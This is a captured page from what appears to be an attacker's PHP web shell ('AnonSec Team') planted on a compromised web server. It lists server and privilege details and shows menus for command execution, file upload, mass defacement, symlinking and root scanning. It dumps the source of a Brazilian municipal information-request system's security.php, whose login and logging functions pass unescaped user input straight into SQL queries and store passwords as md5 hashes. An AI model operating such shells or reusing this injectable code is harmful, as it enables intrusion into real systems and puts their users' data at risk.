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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/esic/obidos/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/esic/obidos/inc/security.php
<?php
    require_once("database.php");
    require_once("funcoes.php");

    function sendMail($to, $subject, $body, $from = "", $fromname = "")
    {
        $html
            = "<html>
			    <body>
				    $body
				</body>
			   </html>";

        $email_remetente = "contato@gtcontroller.com.br";
        $email_usuario   = $to;
        $headers         = "MIME-Version: 1.1\n";
        $headers .= "Content-type: text/html; charset=iso-8859-1\n";
        $headers .= "From: $email_remetente\n"; // remetente
        $headers .= "Organization: G&T Controller\n";
        $headers .= "Return-Path: $email_remetente\n"; // return-path
        $headers .= "Reply-To: $email_usuario\n"; // Endereço (devidamente validado) que o seu usuário informou no contato
        //$envio = mail($email_usuario, $subject, $html, $headers, "-f$email_remetente");

        if (mail($email_usuario, $subject, $html, $headers, "-f$email_remetente"))
            return true;
        else
            return false;
    }


    function sendMailAnexo($to, $subject, $body, $arquivos = array(), $from = "", $fromname = "", $cc = "")
    {
        //se nao for informado o remetente, recupera das configura��es do sistema
        if (empty($from)) {
            $sql = "select nomeremetenteemail, emailremetente from lda_configuracao";
            $rs  = execQuery($sql);

            $row = mysql_fetch_array($rs);

            $from     = $row['emailremetente'];
            $fromname = $row['nomeremetenteemail'];
        }

        $html
            = "<html>
					<body>
					$body
					</body>
				</html>";


        $boundary = strtotime('NOW');

        $headers = "Content-Type: multipart/mixed; boundary=\"" . $boundary . "\"" . PHP_EOL;
        $headers .= "Reply-To: $fromname <$from>" . PHP_EOL;
        $headers .= "Return-Path: $fromname <$from>" . PHP_EOL;
        $headers .= "From: $fromname <$from>" . PHP_EOL;
        $headers .= "Cc: $cc" . PHP_EOL;
        $headers .= "MIME-Version: 1.0" . PHP_EOL;
        $headers .= "Organization: Prefeitura do Natal" . PHP_EOL;


        $msg = "--" . $boundary . PHP_EOL;
        $msg .= "Content-Type: text/html; charset=\"ISO-8859-1\"" . PHP_EOL;
        $msg .= "Content-Transfer-Encoding: 8bit" . PHP_EOL . PHP_EOL;
        $msg .= stripslashes($html) . PHP_EOL;


        for ($i = 1; $i <= count($arquivos); $i++) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);

            $tipoarquivo = finfo_file($finfo, $arquivos['arquivo'][$i]);

            $msg .= "--" . $boundary . PHP_EOL;
            $msg .= "Content-Transfer-Encoding: base64" . PHP_EOL;
            $msg .= "Content-Type: \"" . $tipoarquivo . "\"; name=\"" . $arquivos['nome'][$i] . "\"" . PHP_EOL;
            $msg .= "Content-Disposition: attachment; filename=\"" . $arquivos['nome'][$i] . "\"" . PHP_EOL . PHP_EOL;

            ob_start();
            readfile($arquivos['arquivo'][$i]);
            $enc = ob_get_contents();
            ob_end_clean();

            $msg_temp = base64_encode($enc) . PHP_EOL;
            $tmp[1]   = strlen($msg_temp);
            $tmp[2]   = ceil($tmp[1] / 76);

            for ($b = 0; $b <= $tmp[2]; $b++) {
                $tmp[3] = $b * 76;
                $msg .= substr($msg_temp, $tmp[3], 76) . PHP_EOL;
            }

            unset($msg_temp, $tmp, $enc);

        }
        return mail($to, $subject, $msg, $headers);


    }

//registra na tabela de erros de login, a tentativa sem sucesso de acesso ao sistema
    function setTentativaLogin($usuario)
    {
        $ipaddr  = $_SERVER["REMOTE_ADDR"];
        $sistema = SISTEMA_CODIGO;
        $query   = "insert into sis_errologin (sistema, usuario,ip) values('$sistema','$usuario','$ipaddr')";
        execQuery($query) or die("Ocorreu um erro inesperado ao logar erro de entrada");
    }

//exclui da tabela de erros de login, as tentativa sem sucesso de acesso ao sistema
    function delTentativaLogin($usuario)
    {
        $sistema = SISTEMA_CODIGO;
        $query   = "delete from sis_errologin  where usuario='$usuario' and sistema = '$sistema'";
        execQuery($query) or die("Ocorreu um erro inesperado ao excluir tentativas de acesso");
    }

    /*---------------------------------------------------------------------------
    * verifica da existencia de uma tentativa de acesso, sem sucesso, ao sistema
    * e retorna se deve ser usado o recaptcha para proxima tentativa de acesso
    *---------------------------------------------------------------------------*/
    function usaRecaptcha($usuario)
    {
        if (empty($usuario)) return false;

        $sistema = SISTEMA_CODIGO;

        $query
            = "select * from sis_errologin
                  where usuario='$usuario' and sistema = '$sistema'";

        $rs = execQuery($query);

        //se houver tentativas registradas retorna true para exibir o controle recaptcha
        return (mysql_num_rows($rs) > 0);

    }


    function autentica($login, $pwd, $tipo)
    {
        if (empty($login) or empty($pwd)) {
            if (!empty($login))
                setTentativaLogin($login);

            return false;
        }


        $query
            = "select idsolicitante as id, nome, confirmado, email
                            from lda_solicitante
                            where cpfcnpj='$login' and chave = '" . md5($pwd) . "' ";

        $rs = execQuery($query);

        if (mysql_num_rows($rs)!=0) {
            $row = mysql_fetch_array($rs);
        } else {
            //inclui tentativa de acesso ao sistema, para usar o recaptcha no proximo login
            setTentativaLogin($login);
            return false;
        }

        //exclui tentativas de acesso ao sistema do usuario (para evitar o recaptcha no proximo login)
        delTentativaLogin($login);

        $apelido = explode(" ", $row['nome']);

        $var = array();

        $var["uid"]            = $row['id'];
        $var["nomeusuario"]    = $row['nome'];
        $var["emailusuario"]   = $row['email'];
        $var["apelidousuario"] = $apelido[0];
        $var["confirmado"]     = ($row['confirmado']) ? "S" : "N";

        $_SESSION[SISTEMA_CODIGO] = $var;

        return true;

    }


    /*pega o diretorio padrao para grava��o de arquivos
    $sis = sistema para busca do diretorio na tabela de parametros
    */
    function getDiretorio($sis = "lda")
    {

        $query = "select diretorioarquivos from lda_configuracao";

        $rs = execQuery($query);

        if (mysql_num_rows($rs)!=0) {
            $row     = mysql_fetch_array($rs);
            $retorno = $row['diretorioarquivos'];
        }

        return $retorno;
    }

    /*paga o URL padrao para exibi��o de arquivos
    $sis = sistema para busca do diretorio na tabela de parametros
    */
    function getURL($sis = "alb")
    {

        $query = "select urlarquivos from lda_configuracao";

        $rs = execQuery($query);

        if (mysql_num_rows($rs)!=0) {
            $row     = mysql_fetch_array($rs);
            $retorno = $row['urlarquivos'];
        }

        return $retorno;
    }


    function prepData($var)
    {
        $conn = db_open();

        if (get_magic_quotes_gpc()) {
            $var = stripslashes($var);
        }

        $retorno = mysql_real_escape_string($var);

        db_close($conn);

        return $retorno;
    }

    function logger($msg)
    {
        $usuario = getSession("uid");
        $usuario = empty($usuario) ? "SYSTEM" : $usuario;

        // Ugly fix pra nao permitir salvar senha em banco.
        unset($_POST["senha"]);

        $mensagem      = $msg;
        $datahora      = "now()";
        $dados_post    = prepData(serialize($_POST));
        $dados_get     = prepData(serialize($_GET));
        $dados_session = prepData(serialize($_SESSION));
        $ipaddr        = $_SERVER["REMOTE_ADDR"];

        $query = "insert into sis_log (usuario,mensagem,datahora,dados_get,dados_post,ipaddr) values('$usuario','$mensagem',$datahora,'$dados_get','$dados_post','$ipaddr')";
        execQuery($query) or die("Erro logando");
    }


    function getErro($msg)
    {
        //Exibe mensagem de erro passado pelas telas de manuten��o
        if (trim($msg)!="")
            echo "<script>alert('$msg'); </script>";
    }

    function getConfirmacao($msg, $funcaoConfirmacao)
    {
        //Exibe mensagem de Confirmação passado pelas telas de manuten��o
        //funcaoConfirmacao -> fun��o javascript com o alert de Confirmação e procedimentos a serem seguidos.
        if (trim($msg)!="")
            echo "<script> $funcaoConfirmacao('$msg'); </script>";
    }

    function Redirect($url)
    {
        Header("Location:$url");
    }

    function isauth($tipo = "consumidor")
    {
        session_start();
        if (!isset($_SESSION[SISTEMA_CODIGO])) {
            Redirect(SITELNK . "index/?t=" . $tipo);
            exit;
        }
    }

    session_start();


Anon7 - 2022
AnonSec Team